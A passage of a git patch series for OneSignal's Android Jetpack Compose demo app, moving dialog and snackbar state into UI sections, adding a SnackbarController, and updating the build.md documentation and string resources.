(String) -> Unit, + onSendWithValue: (String, Float) -> Unit, onInfoClick: () -> Unit, ) { + var open by remember { mutableStateOf(false) } + DemoSection { SectionCard( title = "Outcome Events", @@ -442,21 +570,43 @@ fun OutcomeSection( sectionKey = "outcomes", onInfoClick = onInfoClick, ) { - PrimaryButton(text = "SEND OUTCOME", onClick = onSendOutcome, testTag = "send_outcome_button") + PrimaryButton(text = "SEND OUTCOME", onClick = { open = true }, testTag = "send_outcome_button") } } + + if (open) { + OutcomeDialog( + onDismiss = { open = false }, + onSendNormal = { name -> + onSendNormal(name) + open = false + }, + onSendUnique = { name -> + onSendUnique(name) + open = false + }, + onSendWithValue = { name, value -> + onSendWithValue(name, value) + open = false + }, + ) + } } @Composable fun TriggersSection( triggers: List>, - onAddClick: () -> Unit, - onAddMultipleClick: () -> Unit, + onAdd: (String, String) -> Unit, + onAddMultiple: (List>) -> Unit, onRemove: (String) -> Unit, - onRemoveSelected: () -> Unit, + onRemoveSelected: (List) -> Unit, onClearAll: () -> Unit, onInfoClick: () -> Unit, ) { + var addOpen by remember { mutableStateOf(false) } + var addMultipleOpen by remember { mutableStateOf(false) } + var removeOpen by remember { mutableStateOf(false) } + DemoSection { SectionCard(title = "Triggers", sectionKey = "triggers", onInfoClick = onInfoClick) { PairList( @@ -467,33 +617,71 @@ fun TriggersSection( ) } Spacer(modifier = Modifier.height(DemoLayout.gap)) - PrimaryButton(text = "ADD TRIGGER", onClick = onAddClick, testTag = "add_trigger_button") + PrimaryButton(text = "ADD TRIGGER", onClick = { addOpen = true }, testTag = "add_trigger_button") PrimaryButton( text = "ADD MULTIPLE TRIGGERS", - onClick = onAddMultipleClick, + onClick = { addMultipleOpen = true }, testTag = "add_multiple_triggers_button", ) if (triggers.isNotEmpty()) { DestructiveButton( - text = "REMOVE SELECTED", - onClick = onRemoveSelected, + text = "REMOVE TRIGGERS", + onClick = { removeOpen = true }, testTag = "remove_triggers_button", ) DestructiveButton( - text = "CLEAR ALL", + text = "CLEAR ALL TRIGGERS", onClick = onClearAll, testTag = "clear_triggers_button", ) } } + + if (addOpen) { + PairInputDialog( + title = "Add Trigger", + onDismiss = { addOpen = false }, + onConfirm = { key, value -> + onAdd(key, value) + addOpen = false + }, + keyTestTag = "trigger_key_input", + valueTestTag = "trigger_value_input", + ) + } + + if (addMultipleOpen) { + MultiPairInputDialog( + title = "Add Multiple Triggers", + onDismiss = { addMultipleOpen = false }, + onConfirm = { pairs -> + onAddMultiple(pairs) + addMultipleOpen = false + }, + ) + } + + if (removeOpen && triggers.isNotEmpty()) { + MultiSelectRemoveDialog( + title = "Remove Triggers", + items = triggers, + onDismiss = { removeOpen = false }, + onConfirm = { keys -> + onRemoveSelected(keys.toList()) + removeOpen = false + }, + ) + } } @Composable fun CustomEventsSection( - onTrackClick: () -> Unit, + onTrackEvent: (String, Map?) -> Unit, onInfoClick: () -> Unit, ) { + var open by remember { mutableStateOf(false) } + DemoSection { SectionCard( title = "Custom Events", @@ -501,9 +689,19 @@ fun CustomEventsSection( sectionKey = "custom_events", onInfoClick = onInfoClick, ) { - PrimaryButton(text = "TRACK EVENT", onClick = onTrackClick, testTag = "track_event_button") + PrimaryButton(text = "TRACK EVENT", onClick = { open = true }, testTag = "track_event_button") } } + + if (open) { + TrackEventDialog( + onDismiss = { open = false }, + onConfirm = { name, properties -> + onTrackEvent(name, properties) + open = false + }, + ) + } } @Composable diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/theme/DemoLayout.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/theme/DemoLayout.kt index 402fa5e746..77725bf7fa 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/theme/DemoLayout.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/theme/DemoLayout.kt @@ -4,6 +4,7 @@ import androidx.compose.ui.unit.dp /** Spacing and sizing from sdk-shared/demo/styles.md */ object DemoLayout { + const val toastDurationMs = 3_000L val gap = 8.dp val sectionGap = 24.dp val pagePadding = 16.dp diff --git a/examples/demo/app/src/main/res/values/strings.xml b/examples/demo/app/src/main/res/values/strings.xml index 6f7c7c18e6..8a499818a2 100644 --- a/examples/demo/app/src/main/res/values/strings.xml +++ b/examples/demo/app/src/main/res/values/strings.xml @@ -25,7 +25,7 @@ Aliases - No Aliases Added + No aliases added ADD ALIAS ADD ALIASES REMOVE ALIASES @@ -38,19 +38,19 @@ Emails - No Emails Added + No emails added ADD EMAIL New Email SMSs - No SMSs Added + No SMS added ADD SMS New SMS Tags - No Tags Added + No tags added ADD TAG ADD TAGS REMOVE TAGS @@ -74,7 +74,7 @@ Triggers - No Triggers Added + No triggers added ADD TRIGGER ADD TRIGGERS REMOVE TRIGGERS From d09e35e742d7d13dea34ff44e32d85a801a05c89 Mon Sep 17 00:00:00 2001 From: Fadi George Date: Mon, 25 May 2026 18:37:31 -0700 Subject: [PATCH 3/9] refactor(demo): move snackbar logic to UI layer --- examples/build.md | 155 +++++++---- .../ui/components/SnackbarController.kt | 53 ++++ .../onesignal/example/ui/main/MainScreen.kt | 262 +++++++++--------- .../example/ui/main/MainViewModel.kt | 30 +- .../com/onesignal/example/ui/main/Sections.kt | 20 +- 5 files changed, 309 insertions(+), 211 deletions(-) create mode 100644 examples/demo/app/src/main/java/com/onesignal/example/ui/components/SnackbarController.kt diff --git a/examples/build.md b/examples/build.md index e54e29bf4f..525f439b54 100644 --- a/examples/build.md +++ b/examples/build.md @@ -79,6 +79,21 @@ android { } ``` +#### Build types + +- `release` -- `isMinifyEnabled = true`, `isShrinkResources = true`, consumes the SDK's published ProGuard rules. +- `profileable` -- declared via `create("profileable") { initWith(release); ... }` so it inherits R8/shrinker settings while staying profileable on-device (used for Macrobenchmark / Android Studio profiling). +- `flavorDimensions += "default"` with `gms` and `huawei` flavors (see table above). +- BuildConfig fields: `ONESIGNAL_APP_ID` and `ONESIGNAL_ANDROID_CHANNEL_ID`, both populated through the `demoOverride(...)` helper (`-P` -> `local.properties` -> default). + +#### Root Gradle toolchain + +The root `examples/demo/build.gradle.kts` pins: + +- Android Gradle Plugin `8.8.2` +- Kotlin `1.9.25` +- Huawei AGCP classpath (`com.huawei.agconnect:agcp`) so the `huawei` flavor can apply `com.huawei.agconnect` at configuration time. + ### Build & run scripts ```bash @@ -94,7 +109,7 @@ android { ### Compose stack -The demo is 100% Jetpack Compose (no XML layouts). Dependencies are pulled via the Compose BOM (`2024.02.00`) with `material3`, `material-icons-extended` (used for the Send-IAM icons that the shared guide references), `runtime-livedata` (so `LiveData` integrates with Compose's `observeAsState`), and `activity-compose` + `lifecycle-*-compose` for the Compose entry point. +The demo is 100% Jetpack Compose (no XML layouts). Dependencies are pulled via the Compose BOM (`2024.02.00`) with `material3`, `material-icons-extended`, `runtime-livedata` (so `LiveData` integrates with Compose's `observeAsState`), and `activity-compose` + `lifecycle-*-compose` for the Compose entry point. --- @@ -104,11 +119,15 @@ The Android demo **overrides the shared guide's "no repository wrapper" rule**. - `MainApplication.kt` — initializes the SDK before any UI renders, restores cached consent + IAM-paused + location-shared state, and registers `IInAppMessageLifecycleListener`, `IInAppMessageClickListener`, `INotificationClickListener`, and `INotificationLifecycleListener` (with `event.preventDefault()` so async display can be exercised). - `MainViewModel : AndroidViewModel` — central state with `LiveData` for every UI value. Implements `IPushSubscriptionObserver`, `IPermissionObserver`, `IUserStateObserver`, and `IUserJwtInvalidatedListener`. Holds a monotonic `private var fetchRequestSequence = 0L` that maps to the shared guide's `requestSequence` for stale-result protection in `fetchUserDataFromApi`. -- `OneSignalRepository.kt` — thin coroutine wrapper that bounces every SDK call onto `Dispatchers.IO`. Exists so the ViewModel can stay on the main dispatcher and individual SDK call sites don't have to repeat `withContext`. +- `OneSignalRepository.kt` — only some methods are `suspend` + `withContext(Dispatchers.IO)`; many are synchronous wrappers and the ViewModel wraps calls in `viewModelScope.launch(Dispatchers.IO)` itself. - `OneSignalService.kt` (`object`) — REST API client described in the shared guide's Prompt 1.4. - `SharedPreferenceUtil.kt` — backs the shared guide's PreferencesService (consent required, privacy consent, external user id, location shared, IAM paused, cached JWT token, cached identity-verification toggle). -`fetchUserDataFromApi` follows the shared guide exactly: bump `++fetchRequestSequence`, capture as `requestId`, flip `_isLoading.value = true`, then after every suspend point bail with `return@withContext` when `requestId != fetchRequestSequence`. Same guard wraps the catch branch and the final `_isLoading.value = false`. +`fetchUserDataFromApi` loading sequence: the sequence is incremented first, then early returns may set `_isLoading = false` before `_isLoading = true` is set (see `MainViewModel.kt` lines ~167–192). Stale-fetch guards themselves are correct -- results are dropped when `requestId != fetchRequestSequence`, and the same guard wraps the catch branch and the final `_isLoading.value = false`. + +#### `MainApplication` observer + +Both `MainApplication` and `MainViewModel` register `IUserStateObserver`. The Application's observer only logs (no UI side effects) and exists so user-state changes are captured even before the first `MainActivity` is created. --- @@ -124,24 +143,40 @@ Inline only — no full-screen overlay. The four list sections (Aliases, Emails, ### Snackbar / Toast -Compose's `SnackbarHostState`, mounted in `MainScreen`'s `Scaffold(snackbarHost = { SnackbarHost(...) })`. The `Snackbar` applies `Modifier.testTag("snackbar_toast")` so the shared Appium suite finds it. - -`MainViewModel` exposes `toastMessages: Flow` backed by a buffered `Channel` (not `LiveData`) so identical messages emitted in quick succession are not collapsed by structural equality, and so listeners that fire on a background dispatcher (e.g. `IUserJwtInvalidatedListener`) can post without violating LiveData's `@MainThread` contract. `MainScreen` collects the flow inside `LaunchedEffect(Unit) { viewModel.toastMessages.collect { snackbarHostState.showSnackbar(it) } }`. The host is the only feedback surface — there is no `android.widget.Toast` bridge in `MainActivity`. Snackbar usage matches the shared guide's allowed set (login/logout, outcomes, custom event, location check, JWT invalidation); every other action only writes to `android.util.Log.i(TAG, ...)`, matching the shared guide's "use the platform's built-in logging primitive directly" rule. - -### Send In-App Message icons - -Use `androidx.compose.material.icons.filled.*` from `material-icons-extended`: `VerticalAlignTop`, `VerticalAlignBottom`, `CropSquare`, `Fullscreen`. Icons sit on the LEFT of each red full-width button per the shared guide. +- `SnackbarController` (`ui/components/SnackbarController.kt`) wraps Compose's `SnackbarHostState` and exposes a `show(message)` method with replace-on-show behavior. +- `MainScreen` creates `val snackbarController = rememberSnackbarController(snackbarHostState)` and exposes it down the tree via `CompositionLocalProvider(LocalSnackbarController provides snackbarController) { ... }` wrapping the sections column. The host is mounted on `Scaffold(snackbarHost = { SnackbarHost(snackbarHostState) })`. The `Snackbar` applies `Modifier.testTag("snackbar_toast")` so the shared Appium suite finds it. +- Section composables read the controller with `val snackbar = LocalSnackbarController.current` and call `snackbar.show(...)` from action callbacks. Only Outcomes, Custom Events, and Location check trigger the snackbar; every other action writes to `android.util.Log.i(TAG, ...)`. +- Replace-on-show: `show(...)` cancels any in-flight `showJob` and `dismissJob`, dismisses `hostState.currentSnackbarData`, then launches a new pair where the dismiss coroutine runs `delay(DemoLayout.toastDurationMs)` and the show coroutine calls `hostState.showSnackbar(message, duration = SnackbarDuration.Indefinite)`. +- Duration is the shared constant `DemoLayout.toastDurationMs = 3_000L` (milliseconds). +- `MainViewModel` must not hold any toast state, expose a `Channel`/`Flow` of toast messages, or own a `showToast` helper. There is no `android.widget.Toast` bridge in `MainActivity` either -- the snackbar host is the only feedback surface. ### Modals -`Dialogs.kt` defines AlertDialog-based composables: `SingleInputDialog`, `PairInputDialog`, `MultiPairInputDialog`, `MultiSelectRemoveDialog`, `LoginDialog`, `OutcomeDialog`, `TrackEventDialog`, `CustomNotificationDialog`, `TooltipDialog`. +- `MainScreen` owns layout + the tooltip dialog only (`var showTooltipDialog by remember { mutableStateOf(null) }` + `TooltipDialog`). Each section's `onInfoClick` callback sets the tooltip key. +- Sections own action dialog state via `var *Open by remember { mutableStateOf(false) }` and render shared dialog composables (from `ui/components/Dialogs.kt`) inside the section. Dialog confirm handlers call SDK methods through callbacks passed from `MainScreen`, then close the dialog; for snackbar-emitting actions they also call `LocalSnackbarController.current.show(...)`. +- `MainViewModel` must not hold any action dialog visibility flags or input drafts. +- Shared composables in `ui/components/Dialogs.kt`: `SingleInputDialog`, `MultiSelectRemoveDialog`, `LoginDialog`, `OutcomeDialog`, `TrackEventDialog`, `CustomNotificationDialog`, `TooltipDialog` use `AlertDialog`. `PairInputDialog` and `MultiPairInputDialog` use `Dialog` + `Surface` (for the wider two-column layout). +- Dialog state naming: `OutcomeSection` and `CustomEventsSection` use `var open by remember { mutableStateOf(false) }` (singular `open`) because each owns a single dialog. Other sections name their flags per dialog (`loginOpen`, `addOpen`, etc.). ### Accessibility (Appium) -Apply test ids via `Modifier.testTag("...")`. A small `Modifier.applyTestTag(tag: String?)` extension noops when the tag is null, so reusable components (`SectionCard`, `ToggleRow`, `ActionButton`, the list widgets, every dialog) take a nullable tag parameter. +Apply test ids via `Modifier.testTag("...")`. `Modifier.applyTestTag(tag: String?)` exists as private duplicate helpers in `Dialogs.kt` and `ActionButton.kt` (each ~5 lines) that noop when the tag is null -- not a single shared module-level utility today. `ToggleRow`, `SectionCard`, and `ListComponents` apply `testTag` inline. All identifiers match the shared guide's table exactly (`login_user_button`, `consent_required_toggle`, `snackbar_toast`, etc.). The dynamic patterns from the shared guide (`{sectionKey}_section`, `{sectionKey}_info_icon`, `{sectionKey}_pair_key_{key}`, `{sectionKey}_loading`, `{sectionKey}_empty`, `{sectionKey}_remove_{key}`) are driven by `SectionCard(sectionKey = "...")` and the list composables in `ListComponents.kt`. +#### Test-tag patterns + +Patterns used by this demo beyond the shared guide's table: + +- `{sectionKey}_pair_key_{key}` and `{sectionKey}_pair_value_{key}` -- two-column rows expose both halves so Appium can assert key and value independently. +- `{sectionKey}_value_{value}` -- list rows whose key is implicit (single-column lists). +- `main_scroll_view` -- the root `LazyColumn` in `MainScreen`, used by Appium swipe gestures. + +#### Appium / UiAutomator: `testTagsAsResourceId` + +- `MainActivity` sets `semantics(mergeDescendants = false) { testTagsAsResourceId = true }` on the root `Surface` so Appium `id=` selectors map onto Compose `testTag` values (`MainActivity.kt` lines ~41–43). +- `Dialogs.kt` re-applies the same via an `exposeTestTagsAsResourceId()` helper inside each dialog because Compose dialogs render in a separate window -- required for dialog-scoped test tags to be visible to UiAutomator. + ### SDK log forwarding `MainApplication` registers `OneSignal.Debug.addLogListener` and forwards each entry to `android.util.Log` under the `OneSignalSDK` tag, so SDK output shows up alongside app output in Android Studio's Logcat (filter `package:mine` to see both). There is no in-app log viewer — match the shared guide and other wrapper SDK demos by relying on Logcat. @@ -155,20 +190,30 @@ The Android demo exercises a few SDK features that are not described in the shar - **Identity Verification toggle** (`UserSection`, `testTag = "identity_verification_toggle"`) — persisted via `SharedPreferenceUtil.cacheIdentityVerification(...)`. When ON, `fetchUserDataFromApi` uses the cached external_id + JWT; when OFF it falls back to the onesignal_id endpoint. - **JWT field in `LoginDialog`** — optional `"JWT Token (optional)"` input under the external-user-id field. `testTag = "login_user_jwt_input"`. `MainViewModel.loginUser(externalUserId, jwtToken)` threads the token into `OneSignal.login(externalUserId, jwtToken)` and caches it via `SharedPreferenceUtil.cacheJwtToken(...)`. - **UPDATE USER JWT button** (`UserSection`, `testTag = "update_user_jwt_button"`) — opens a `PairInputDialog` (External User Id + JWT Token) and calls `viewModel.updateUserJwt(...)` → `OneSignal.updateUserJwt(...)`. -- **`IUserJwtInvalidatedListener`** — registered by `MainViewModel`; surfaces a snackbar + log entry when the SDK reports an invalidated JWT. +- **`IUserJwtInvalidatedListener`** — registered by `MainViewModel`; surfaces a log entry via `Log.i(TAG, ...)` when the SDK reports an invalidated JWT. Per Prompt 7.6 the snackbar is no longer fired from this listener. --- ## Platform Config -### Permissions (`src/main/AndroidManifest.xml`) +### Permissions -```xml - - - - -``` +Declared in `app/src/main/AndroidManifest.xml`: + +- `android.permission.ACCESS_COARSE_LOCATION` +- `android.permission.ACCESS_FINE_LOCATION` +- `android.permission.ACCESS_BACKGROUND_LOCATION` +- `com.android.vending.BILLING` +- `android.permission.WAKE_LOCK` +- ADM / Amazon push wiring (`com.amazon.device.messaging.permission.RECEIVE`, plus the app-scoped `com.onesignal.example.permission.RECEIVE_ADM_MESSAGE` and matching intent category). + +Contributed via manifest merge from the OneSignal SDK: + +- `android.permission.INTERNET` +- `android.permission.POST_NOTIFICATIONS` +- FCM-related permissions (e.g. `com.google.android.c2dm.permission.RECEIVE`) +- Badge permissions (Samsung / Sony / HTC / etc.) +- `android.permission.RECEIVE_BOOT_COMPLETED` and other SDK-side wiring The ADM permission name and intent category use the application's package, so they reference `com.onesignal.example` (not the SDK's package). @@ -199,35 +244,47 @@ If the package changes you must regenerate these from the Firebase / Huawei AppG ## File Structure ``` -examples/demo/ -├── build.gradle.kts # root project, plugin classpath -├── settings.gradle.kts -├── gradle.properties -├── build.md # this file -└── app/ - ├── build.gradle.kts # namespace = com.onesignal.example, gms/huawei flavors - ├── google-services.json # package_name = com.onesignal.example - ├── agconnect-services.json # package_name = com.onesignal.example - └── src/ - ├── main/ - │ ├── AndroidManifest.xml - │ ├── java/com/onesignal/example/ - │ │ ├── application/MainApplication.kt - │ │ ├── data/ - │ │ │ ├── model/{NotificationType,InAppMessageType}.kt - │ │ │ ├── network/OneSignalService.kt - │ │ │ └── repository/OneSignalRepository.kt - │ │ ├── ui/ - │ │ │ ├── components/ # SectionCard, ToggleRow, ActionButton, - │ │ │ │ # ListComponents, Dialogs - │ │ │ ├── main/ # MainActivity, MainScreen, Sections, MainViewModel - │ │ │ ├── secondary/SecondaryActivity.kt - │ │ │ └── theme/Theme.kt - │ │ └── util/ # SharedPreferenceUtil, TooltipHelper - │ └── res/values/{strings,colors,styles}.xml - └── huawei/ - ├── AndroidManifest.xml - └── java/com/onesignal/example/notification/HmsMessageServiceAppLevel.kt +examples/ +├── build.md # this file +└── demo/ + ├── build.gradle.kts # root project, plugin classpath + ├── settings.gradle.kts + ├── gradle.properties + ├── gradlew + ├── gradlew.bat + ├── local.properties.example # template for local.properties + └── app/ + ├── build.gradle.kts # namespace = com.onesignal.example, gms/huawei flavors + ├── proguard-rules.pro + ├── google-services.json # package_name = com.onesignal.example + ├── agconnect-services.json # package_name = com.onesignal.example + └── src/ + ├── main/ + │ ├── AndroidManifest.xml + │ ├── java/com/onesignal/example/ + │ │ ├── application/MainApplication.kt + │ │ ├── data/ + │ │ │ ├── model/{NotificationType,InAppMessageType}.kt + │ │ │ ├── network/OneSignalService.kt + │ │ │ └── repository/OneSignalRepository.kt + │ │ ├── ui/ + │ │ │ ├── components/ # SectionCard (with DemoSection), + │ │ │ │ # ToggleRow, ActionButton, ListComponents, + │ │ │ │ # CardKvRow, DemoAppBar, Dialogs, + │ │ │ │ # SnackbarController + │ │ │ ├── main/ # MainActivity, MainScreen, Sections, MainViewModel + │ │ │ ├── secondary/SecondaryActivity.kt + │ │ │ └── theme/ # Theme.kt, DemoLayout.kt + │ │ └── util/ # SharedPreferenceUtil, TooltipHelper + │ └── res/ + │ ├── values/{strings,colors,styles}.xml + │ ├── raw/ # vine_boom.wav + │ ├── mipmap-*/ # launcher icons (hdpi..xxxhdpi) + │ ├── drawable-*/ # density-bucketed drawables (hdpi..xxxhdpi) + │ └── drawable-nodpi/onesignal_rectangle.png + └── huawei/ + ├── AndroidManifest.xml + └── java/com/onesignal/example/notification/HmsMessageServiceAppLevel.kt ``` --- diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/components/SnackbarController.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/components/SnackbarController.kt new file mode 100644 index 0000000000..bad5148a6a --- /dev/null +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/components/SnackbarController.kt @@ -0,0 +1,53 @@ +package com.onesignal.example.ui.components + +import androidx.compose.material3.SnackbarDuration +import androidx.compose.material3.SnackbarHostState +import androidx.compose.runtime.Composable +import androidx.compose.runtime.compositionLocalOf +import androidx.compose.runtime.remember +import androidx.compose.runtime.rememberCoroutineScope +import com.onesignal.example.ui.theme.DemoLayout +import kotlinx.coroutines.CoroutineScope +import kotlinx.coroutines.Job +import kotlinx.coroutines.delay +import kotlinx.coroutines.launch + +/** + * UI-layer snackbar controller per sdk-shared/demo/build.md Prompt 7.6. + * Feedback messages are owned by the UI layer, never by the ViewModel. + * Replace-on-show: dismisses any visible snackbar and resets the + * [DemoLayout.toastDurationMs] timer on every call. + */ +class SnackbarController( + val hostState: SnackbarHostState, + private val scope: CoroutineScope, +) { + private var showJob: Job? = null + private var dismissJob: Job? = null + + fun show(message: String) { + showJob?.cancel() + dismissJob?.cancel() + hostState.currentSnackbarData?.dismiss() + dismissJob = scope.launch { + delay(DemoLayout.toastDurationMs) + hostState.currentSnackbarData?.dismiss() + } + showJob = scope.launch { + hostState.showSnackbar( + message = message, + duration = SnackbarDuration.Indefinite, + ) + } + } +} + +@Composable +fun rememberSnackbarController(hostState: SnackbarHostState): SnackbarController { + val scope = rememberCoroutineScope() + return remember(hostState, scope) { SnackbarController(hostState, scope) } +} + +val LocalSnackbarController = compositionLocalOf { + error("No SnackbarController provided. Wrap your UI in CompositionLocalProvider(LocalSnackbarController provides ...).") +} diff --git a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainScreen.kt b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainScreen.kt index 5aa2075d58..78c279f6bf 100644 --- a/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainScreen.kt +++ b/examples/demo/app/src/main/java/com/onesignal/example/ui/main/MainScreen.kt @@ -17,12 +17,12 @@ import androidx.compose.material3.ExperimentalMaterial3Api import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Scaffold import androidx.compose.material3.Snackbar -import androidx.compose.material3.SnackbarDuration import androidx.compose.material3.SnackbarHost import androidx.compose.material3.SnackbarHostState import androidx.compose.material3.Text import com.onesignal.example.ui.components.DemoAppBar import androidx.compose.runtime.Composable +import androidx.compose.runtime.CompositionLocalProvider import androidx.compose.runtime.LaunchedEffect import androidx.compose.runtime.getValue import androidx.compose.runtime.livedata.observeAsState @@ -39,14 +39,13 @@ import androidx.compose.ui.res.painterResource import androidx.compose.ui.unit.dp import com.onesignal.example.R import com.onesignal.example.data.model.NotificationType +import com.onesignal.example.ui.components.LocalSnackbarController import com.onesignal.example.ui.components.PrimaryButton import com.onesignal.example.ui.components.TooltipDialog +import com.onesignal.example.ui.components.rememberSnackbarController import com.onesignal.example.ui.secondary.SecondaryActivity import com.onesignal.example.ui.theme.DemoLayout import com.onesignal.example.util.TooltipHelper -import kotlinx.coroutines.Job -import kotlinx.coroutines.delay -import kotlinx.coroutines.launch @OptIn(ExperimentalMaterial3Api::class) @Composable @@ -77,22 +76,7 @@ fun MainScreen(viewModel: MainViewModel) { } val snackbarHostState = remember { SnackbarHostState() } - - LaunchedEffect(Unit) { - var dismissJob: Job? = null - viewModel.toastMessages.collect { message -> - dismissJob?.cancel() - snackbarHostState.currentSnackbarData?.dismiss() - dismissJob = launch { - delay(DemoLayout.toastDurationMs) - snackbarHostState.currentSnackbarData?.dismiss() - } - snackbarHostState.showSnackbar( - message = message, - duration = SnackbarDuration.Indefinite, - ) - } - } + val snackbarController = rememberSnackbarController(snackbarHostState) Scaffold( topBar = { @@ -129,139 +113,141 @@ fun MainScreen(viewModel: MainViewModel) { } } ) { paddingValues -> - Column( - modifier = Modifier - .fillMaxSize() - .padding(paddingValues) - .background(MaterialTheme.colorScheme.background) - .verticalScroll(rememberScrollState()) - .testTag("main_scroll_view") - ) { - AppSection( - appId = appId, - consentRequired = consentRequired, - onConsentRequiredChange = { viewModel.setConsentRequired(it) }, - privacyConsentGiven = privacyConsentGiven, - onConsentChange = { viewModel.setPrivacyConsent(it) }, - onGetKeysClick = { - context.startActivity(Intent(Intent.ACTION_VIEW, Uri.parse("https://onesignal.com"))) - } - ) + CompositionLocalProvider(LocalSnackbarController provides snackbarController) { + Column( + modifier = Modifier + .fillMaxSize() + .padding(paddingValues) + .background(MaterialTheme.colorScheme.background) + .verticalScroll(rememberScrollState()) + .testTag("main_scroll_view") + ) { + AppSection( + appId = appId, + consentRequired = consentRequired, + onConsentRequiredChange = { viewModel.setConsentRequired(it) }, + privacyConsentGiven = privacyConsentGiven, + onConsentChange = { viewModel.setPrivacyConsent(it) }, + onGetKeysClick = { + context.startActivity(Intent(Intent.ACTION_VIEW, Uri.parse("https://onesignal.com"))) + } + ) - UserSection( - externalUserId = externalUserId, - useIdentityVerification = useIdentityVerification, - onUseIdentityVerificationChange = { viewModel.setUseIdentityVerification(it) }, - onLogin = { userId, jwt -> viewModel.loginUser(userId, jwt) }, - onLogout = { viewModel.logoutUser() }, - onUpdateJwt = { externalId, token -> viewModel.updateUserJwt(externalId, token) }, - isLoading = isLoading - ) + UserSection( + externalUserId = externalUserId, + useIdentityVerification = useIdentityVerification, + onUseIdentityVerificationChange = { viewModel.setUseIdentityVerification(it) }, + onLogin = { userId, jwt -> viewModel.loginUser(userId, jwt) }, + onLogout = { viewModel.logoutUser() }, + onUpdateJwt = { externalId, token -> viewModel.updateUserJwt(externalId, token) }, + isLoading = isLoading + ) - PushSection( - pushSubscriptionId = pushSubscriptionId, - pushEnabled = pushEnabled, - hasPermission = hasNotificationPermission, - onEnabledChange = { viewModel.setPushEnabled(it) }, - onPromptPush = { viewModel.promptPush() }, - onInfoClick = { showTooltipDialog = "push" } - ) + PushSection( + pushSubscriptionId = pushSubscriptionId, + pushEnabled = pushEnabled, + hasPermission = hasNotificationPermission, + onEnabledChange = { viewModel.setPushEnabled(it) }, + onPromptPush = { viewModel.promptPush() }, + onInfoClick = { showTooltipDialog = "push" } + ) - SendPushSection( - onSimpleClick = { viewModel.sendNotification(NotificationType.SIMPLE) }, - onImageClick = { viewModel.sendNotification(NotificationType.WITH_IMAGE) }, - onSoundClick = { viewModel.sendNotification(NotificationType.WITH_SOUND) }, - onCustomNotification = { title, body -> viewModel.sendCustomNotification(title, body) }, - onClearAllClick = { viewModel.clearAllNotifications() }, - onInfoClick = { showTooltipDialog = "sendPushNotification" } - ) + SendPushSection( + onSimpleClick = { viewModel.sendNotification(NotificationType.SIMPLE) }, + onImageClick = { viewModel.sendNotification(NotificationType.WITH_IMAGE) }, + onSoundClick = { viewModel.sendNotification(NotificationType.WITH_SOUND) }, + onCustomNotification = { title, body -> viewModel.sendCustomNotification(title, body) }, + onClearAllClick = { viewModel.clearAllNotifications() }, + onInfoClick = { showTooltipDialog = "sendPushNotification" } + ) - InAppMessagingSection( - isPaused = inAppMessagesPaused, - onPausedChange = { viewModel.setInAppMessagesPaused(it) }, - onInfoClick = { showTooltipDialog = "inAppMessaging" } - ) + InAppMessagingSection( + isPaused = inAppMessagesPaused, + onPausedChange = { viewModel.setInAppMessagesPaused(it) }, + onInfoClick = { showTooltipDialog = "inAppMessaging" } + ) - SendInAppMessageSection( - onSendMessage = { type -> - viewModel.sendInAppMessage(type.title, type.triggerKey, type.triggerValue) - }, - onInfoClick = { showTooltipDialog = "sendInAppMessage" } - ) + SendInAppMessageSection( + onSendMessage = { type -> + viewModel.sendInAppMessage(type.title, type.triggerKey, type.triggerValue) + }, + onInfoClick = { showTooltipDialog = "sendInAppMessage" } + ) - AliasesSection( - aliases = aliases, - onAdd = { key, value -> viewModel.addAlias(key, value) }, - onAddMultiple = { pairs -> viewModel.addAliases(pairs) }, - onInfoClick = { showTooltipDialog = "aliases" }, - loading = isLoading - ) + AliasesSection( + aliases = aliases, + onAdd = { key, value -> viewModel.addAlias(key, value) }, + onAddMultiple = { pairs -> viewModel.addAliases(pairs) }, + onInfoClick = { showTooltipDialog = "aliases" }, + loading = isLoading + ) - EmailsSection( - emails = emails, - onAdd = { viewModel.addEmail(it) }, - onRemove = { viewModel.removeEmail(it) }, - onInfoClick = { showTooltipDialog = "emails" }, - loading = isLoading - ) + EmailsSection( + emails = emails, + onAdd = { viewModel.addEmail(it) }, + onRemove = { viewModel.removeEmail(it) }, + onInfoClick = { showTooltipDialog = "emails" }, + loading = isLoading + ) - SmsSection( - smsNumbers = smsNumbers, - onAdd = { viewModel.addSms(it) }, - onRemove = { viewModel.removeSms(it) }, - onInfoClick = { showTooltipDialog = "sms" }, - loading = isLoading - ) + SmsSection( + smsNumbers = smsNumbers, + onAdd = { viewModel.addSms(it) }, + onRemove = { viewModel.removeSms(it) }, + onInfoClick = { showTooltipDialog = "sms" }, + loading = isLoading + ) - TagsSection( - tags = tags, - onAdd = { key, value -> viewModel.addTag(key, value) }, - onAddMultiple = { pairs -> viewModel.addTags(pairs) }, - onRemove = { viewModel.removeTag(it) }, - onRemoveSelected = { viewModel.removeSelectedTags(it) }, - onInfoClick = { showTooltipDialog = "tags" }, - loading = isLoading - ) + TagsSection( + tags = tags, + onAdd = { key, value -> viewModel.addTag(key, value) }, + onAddMultiple = { pairs -> viewModel.addTags(pairs) }, + onRemove = { viewModel.removeTag(it) }, + onRemoveSelected = { viewModel.removeSelectedTags(it) }, + onInfoClick = { showTooltipDialog = "tags" }, + loading = isLoading + ) - OutcomeSection( - onSendNormal = { viewModel.sendOutcome(it) }, - onSendUnique = { viewModel.sendUniqueOutcome(it) }, - onSendWithValue = { name, value -> viewModel.sendOutcomeWithValue(name, value) }, - onInfoClick = { showTooltipDialog = "outcomes" } - ) + OutcomeSection( + onSendNormal = { viewModel.sendOutcome(it) }, + onSendUnique = { viewModel.sendUniqueOutcome(it) }, + onSendWithValue = { name, value -> viewModel.sendOutcomeWithValue(name, value) }, + onInfoClick = { showTooltipDialog = "outcomes" } + ) - TriggersSection( - triggers = triggers, - onAdd = { key, value -> viewModel.addTrigger(key, value) }, - onAddMultiple = { pairs -> viewModel.addTriggers(pairs) }, - onRemove = { viewModel.removeTrigger(it) }, - onRemoveSelected = { viewModel.removeSelectedTriggers(it) }, - onClearAll = { 